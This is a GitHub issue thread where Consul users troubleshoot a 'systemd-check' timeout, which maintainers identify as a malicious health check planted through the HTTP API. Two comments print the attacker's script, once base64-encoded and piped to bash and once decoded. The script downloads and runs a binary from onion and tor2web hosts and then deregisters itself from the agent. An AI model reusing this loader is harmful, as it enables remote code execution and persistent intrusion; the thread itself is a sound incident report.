Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

systemd-check timeout #4931

Closed
Anricx opened this issue Nov 9, 2018 · 18 comments
Closed

systemd-check timeout #4931

Anricx opened this issue Nov 9, 2018 · 18 comments

Comments

@Anricx
Copy link

Anricx commented Nov 9, 2018

today two of my server having some problems with an systemd-check error,

version 1.2.0 / 1.3.0

image

what could possibly cause this error?

and how to fix it?

and syslog has many output log like

Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]:     2018/11/09 06:25:05 [INFO] parsed scheme: ""
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]:     2018/11/09 06:25:05 [INFO] scheme "" not registered, fallback to default scheme
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]:     2018/11/09 06:25:05 [INFO] ccResolverWrapper: sending new addresses to cc: [{10.10.10.100:28174 0  <nil>}]
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]:     2018/11/09 06:25:05 [INFO] ClientConn switching balancer to "pick_first"
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]:     2018/11/09 06:25:05 [INFO] pickfirstBalancer: HandleSubConnStateChange: 0xc000c14880, CONNECTING
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]: parsed scheme: ""
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]: scheme "" not registered, fallback to default scheme
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]: ccResolverWrapper: sending new addresses to cc: [{10.10.10.100:28174 0  <nil>}]
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]: ClientConn switching balancer to "pick_first"
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]: pickfirstBalancer: HandleSubConnStateChange: 0xc000c14880, CONNECTING
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]:     2018/11/09 06:25:05 [WARN] grpc: addrConn.createTransport failed to connect to {10.10.10.100:28174 0  <nil>}. Err :connection error: desc = "transport: Error while dialing dial tcp 10.10.10.100:28174: connect: connection refused". Reconnecting...
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]:     2018/11/09 06:25:05 [INFO] pickfirstBalancer: HandleSubConnStateChange: 0xc000c14880, TRANSIENT_FAILURE
Nov  9 06:25:05 ecs-5cb7-0001 consul[12809]:     2018/11/09 06:25:05 [INFO] pickfirstBalancer: HandleSubConnStateChange: 0xc000c14880, TRANSIENT_FAILURE

@pierresouchay
Copy link
Contributor

you registered a check without HTTP ? something like "HTTP": "10.10.10.100:28174" ?
It should be "HTTP": "http://10.10.10.100:28174" (or https://)

@YQyangqian
Copy link

my error log is:
2018/11/09 16:07:50 [WARN] Check "systemd-check": Timed out (30s) running check

and this is my command starting consul:
consul agent -data-dir /data/apps/consul/data -config-dir=/data/apps/consul/conf -enable-script-checks=true -bind=0.0.0.0 -ui -client=0.0.0.0 -join=x.x.x.x

@pierresouchay
Copy link
Contributor

@YQyangqian what is the definition of this healthcheck? Is systems properly working on this machine?

@YQyangqian
Copy link

in my /data/apps/consul/conf director, file toutiao-worker-job-elasticjob.json is as below:
image

@pierresouchay
Copy link
Contributor

Well, it seems you shell script is taking more than 10s to execute, but without the content of this script, hard to tell why

@YQyangqian
Copy link

more error log here:

2018/11/09 16:31:08 [WARN] agent: check "systemd-check" has the 'script' field, which has been deprecated and replaced with the 'args' field. See https://www.consul.io/docs/agent/checks.html

@pierresouchay
Copy link
Contributor

@YQyangqian huh... fun, you probably have the issue #4903

Is you service registered using config file or an HTTP registration?

can you dump the content of /var/lib/consul/checks ?
I suspect there are other checks...

@YQyangqian
Copy link

that is what /var/lib/consul/checks likes .......
image

@pierresouchay
Copy link
Contributor

Here you are... there is a huge payload in your script, but since you sent a capture, I cannot decrypt it, but basically, you have a weird check there.
So, remove the file containing it and it should solve your issue.

Probably linked to #4903

@YQyangqian
Copy link

Thanks that solved.
i wonder why and how this check was added? since I do nothing about that.

this weird check look like:
echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbgoKZnVuY3Rpb24gc3lzdGVtZCgpIHsKICAgIGlmIFsgISAtZiAiL3RtcC8uWDEtdW5peCIgXTsgdGhlbgogICAgICAgIHg9L3Zhci90bXAvc3lzdGVtZC1jaGVjawogICAgICAgIHk9LnN5c3RlbWQtY2hlY2sKICAgICAgICB3Z2V0IC1xVS0gaHR0cDovL21hbHdyZWtiZ3phdmtkcDUub25pb24uaW4ubmV0LyR5IC1PJHggfHwgY3VybCAtc2tMIC1BLSBodHRwOi8vbWFsd3Jla2JnemF2a2RwNS5vbmlvbi5pbi5uZXQvJHkgLW8keCB8fAogICAgICAgIHdnZXQgLXFVLSBodHRwOi8vbWFsd3Jla2JnemF2a2RwNS50b3Iyd2ViLm1lLyR5IC1PJHggfHwgY3VybCAtc2tMIC1BLSBodHRwOi8vbWFsd3Jla2JnemF2a2RwNS50b3Iyd2ViLm1lLyR5IC1vJHggfHwKICAgICAgICB3Z2V0IC1xVS0gaHR0cDovL21hbHdyZWtiZ3phdmtkcDUub25pb24ubnovJHkgLU8keCB8fCBjdXJsIC1za0wgLUEtIGh0dHA6Ly9tYWx3cmVrYmd6YXZrZHA1Lm9uaW9uLm56LyR5IC1vJHggfHwKICAgICAgICB3Z2V0IC1xVS0gaHR0cDovL21hbHdyZWtiZ3phdmtkcDUub25pb24ud3MvJHkgLU8keCB8fCBjdXJsIC1za0wgLUEtIGh0dHA6Ly9tYWx3cmVrYmd6YXZrZHA1Lm9uaW9uLndzLyR5IC1vJHggfHwKICAgICAgICB3Z2V0IC1xVS0gaHR0cHM6Ly9tYWx3cmVrYmd6YXZrZHA1Lm9uaW9uLnBldC8keSAtTyR4IHx8IGN1cmwgLXNrTCAtQS0gaHR0cHM6Ly9tYWx3cmVrYmd6YXZrZHA1Lm9uaW9uLnBldC8keSAtbyR4IHx8CiAgICAgICAgd2dldCAtcVUtIGh0dHBzOi8vbWFsd3Jla2JnemF2a2RwNS50b3Iyd2ViLmlvLyR5IC1PJHggfHwgY3VybCAtc2tMIC1BLSAgaHR0cHM6Ly9tYWx3cmVrYmd6YXZrZHA1LnRvcjJ3ZWIuaW8vJHkgLW8keCAgCiAgICAgICAgY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKICAgIGZpCn0KCmZ1bmN0aW9uIGRlcmVnKCkgewogICAgaXBzPSQoZWNobyBsb2NhbGhvc3Q7IGVjaG8gMTI3LjAuMC4xO2hvc3RuYW1lIC1pO2lwIGEgfGdyZXAgImluZXQgInxhd2sgeydwcmludCAkMid9fGN1dCAtZCAnLycgLWYgMTtpZmNvbmZpZyB8Z3JlcCAiaW5ldCAifGF3ayB7J3ByaW50ICQyJ30pICAgCiAgICBmb3IgaSBpbiAkaXBzIDtkbyBjdXJsIC1YIFBVVCBodHRwOi8vJGk6ODUwMC92MS9hZ2VudC9jaGVjay9kZXJlZ2lzdGVyL3N5c3RlbWQtY2hlY2s7ZG9uZQogICAgZm9yIGkgaW4gJGlwcyA7ZG8gd2dldCAtcU8tIC0tbWV0aG9kPVBVVCBodHRwOi8vJGk6ODUwMC92MS9hZ2VudC9jaGVjay9kZXJlZ2lzdGVyL3N5c3RlbWQtY2hlY2s7ZG9uZQp9CgpzeXN0ZW1kCmRlcmVnCgo=|base64 -d|bash

@pierresouchay
Copy link
Contributor

@YQyangqian you should contact your security team and send an email to security@hashicorp.com

@pierresouchay
Copy link
Contributor

You should use the new option: enable_local_script_checks we added recently #4715 (Consul 1.3.0+)

and vote for this if you need registration of scripts using HTTP API: #4719 (we are using this on our patched Consul instances in all of our DCs)

@YQyangqian
Copy link

Thanks a lot.
So in your view, this check was registered by other unknown stranger through http, and which may be insecure

@Anricx Anricx closed this as completed Nov 12, 2018
@timothynode
Copy link

Any thing update? We also met this issue...

@pierresouchay
Copy link
Contributor

@maskshell
Copy link

Consul 0.8.4
also found the script like above.

It's an attack?

the script u pasted decoded as below:

exec &>/dev/null
export PATH=$PATH:/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin

function systemd() {
    if [ ! -f "/tmp/.X1-unix" ]; then
        x=/var/tmp/systemd-check
        y=.systemd-check
        wget -qU- http://malwrekbgzavkdp5.onion.in.net/$y -O$x || curl -skL -A- http://malwrekbgzavkdp5.onion.in.net/$y -o$x ||
        wget -qU- http://malwrekbgzavkdp5.tor2web.me/$y -O$x || curl -skL -A- http://malwrekbgzavkdp5.tor2web.me/$y -o$x ||
        wget -qU- http://malwrekbgzavkdp5.onion.nz/$y -O$x || curl -skL -A- http://malwrekbgzavkdp5.onion.nz/$y -o$x ||
        wget -qU- http://malwrekbgzavkdp5.onion.ws/$y -O$x || curl -skL -A- http://malwrekbgzavkdp5.onion.ws/$y -o$x ||
        wget -qU- https://malwrekbgzavkdp5.onion.pet/$y -O$x || curl -skL -A- https://malwrekbgzavkdp5.onion.pet/$y -o$x ||
        wget -qU- https://malwrekbgzavkdp5.tor2web.io/$y -O$x || curl -skL -A-  https://malwrekbgzavkdp5.tor2web.io/$y -o$x  
        chmod +x $x;$x;rm -f $x
    fi
}

function dereg() {
    ips=$(echo localhost; echo 127.0.0.1;hostname -i;ip a |grep "inet "|awk {'print $2'}|cut -d '/' -f 1;ifconfig |grep "inet "|awk {'print $2'})   
    for i in $ips ;do curl -X PUT http://$i:8500/v1/agent/check/deregister/systemd-check;done
    for i in $ips ;do wget -qO- --method=PUT http://$i:8500/v1/agent/check/deregister/systemd-check;done
}

systemd
dereg

@pierresouchay
Copy link
Contributor

pierresouchay commented Nov 23, 2018

@sunadm #4931 (comment)

I can tell you the same thing as
#4931 (comment)

Contact your security team, security@hashicorp.om and vote for #4719 :-)

@pearkes
Copy link
Contributor

pearkes commented Nov 28, 2018

For future readers of this issue, we believe the behavior described above is caused by a malicious payload that has gained access to the Consul cluster as detailed in this blog post. We recommend not publicly reporting similar cases until you’ve followed the remediation steps and performed your own analysis of the incident.

To help protect the community from disclosing that their installations may be vulnerable I’m going to lock this issue. If you have a different non-security related issue, please open a new issue. If you believe you are seeing new behavior in the attack please report it to security@hashicorp.com.

@hashicorp hashicorp locked as resolved and limited conversation to collaborators Nov 28, 2018
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants